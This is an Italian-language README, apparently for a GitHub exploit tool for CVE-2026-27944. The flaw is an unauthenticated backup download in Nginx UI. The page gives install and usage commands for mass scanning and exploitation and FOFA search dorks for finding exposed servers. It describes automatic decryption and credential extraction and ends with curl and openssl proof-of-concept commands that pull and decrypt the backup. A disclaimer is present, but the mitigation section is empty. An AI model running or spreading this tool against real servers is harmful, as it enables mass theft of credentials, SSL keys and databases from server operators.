
Mi piace
🚀 CVE-2026-27944: Exploit di Backup Non Autenticato di Nginx UI
📌 Descrizione
27944.py è uno strumento di exploit per CVE-2026-27944 che consente a un attaccante di scaricare e decriptare il backup di Nginx UI senza autenticazione.
Questa vulnerabilità è presente in Nginx UI versione < 2.3.2 e consente l'accesso a:
· Credenziali utente e token di sessione · Chiavi private SSL · Configurazione Nginx · File del database
🔧 Funzionalità
· ✅ Scansione massiva da file di target · ✅ Exploit singolo target · ✅ Download automatico del backup · ✅ Decriptazione automatica AES-256-CBC · ✅ Estrazione automatica delle credenziali dal backup
🛠️ Come Installare
git clone https://github.com/bimabalance/CVE-2026-27944.git
cd CVE-2026-27944
pip install -r requirements.txt
🚀 Come Usare
python 27944.py -f targets.txt -o hasil_scan
python 27944.py -t target.com:9000 --exploit --decrypt
python 27944.py -f targets.txt --exploit --decrypt -o hasil_full
📋 Formato dei Target
target1.com:9000
192.168.1.1:9000
target2.com:8080
🎯 Dork FOFA
title="Nginx UI"
icon_hash="-1565173320"
header="X-Backup-Security"
body="Nginx UI" && port="9000"
title="Nginx UI" && country="ID"
📂 Output dei Risultati
results/
├── results.json
├── target_backup.bin
├── target_backup_decrypted.zip
└── target_extracted/
├── app.ini
├── database.db
├── nginx.conf
└── ssl/
⚠️ Disclaimer
Questo strumento è stato creato a scopo educativo e di test di sicurezza etica. L'autore non è responsabile per l'uso improprio di questo strumento. Usalo solo su sistemi di tua proprietà o per i quali hai un'autorizzazione scritta per testarli.
📝 Spiegazione Tecnica
CVE-2026-27944 è una vulnerabilità critica in Nginx UI che consente a un attaccante di accedere all'endpoint /api/backup senza autenticazione. Il backup contiene dati sensibili crittografati con AES-256, ma la chiave e l'IV vengono inviati tramite l'header X-Backup-Security in formato Base64.
CVSS Score: 9.8 (Critico)
Versioni Affette: Nginx UI < 2.3.2
Mitigazione:
💀 Proof of Concept (POC)
# Cek vulnerability
curl -I http://target:9000/api/backup
# Download backup
curl -s http://target:9000/api/backup -o backup.bin
# Decrypt backup (manual)
openssl enc -d -aes-256-cbc -base64 -K <key> -iv <iv> -in backup.bin -out backup_decrypted.zip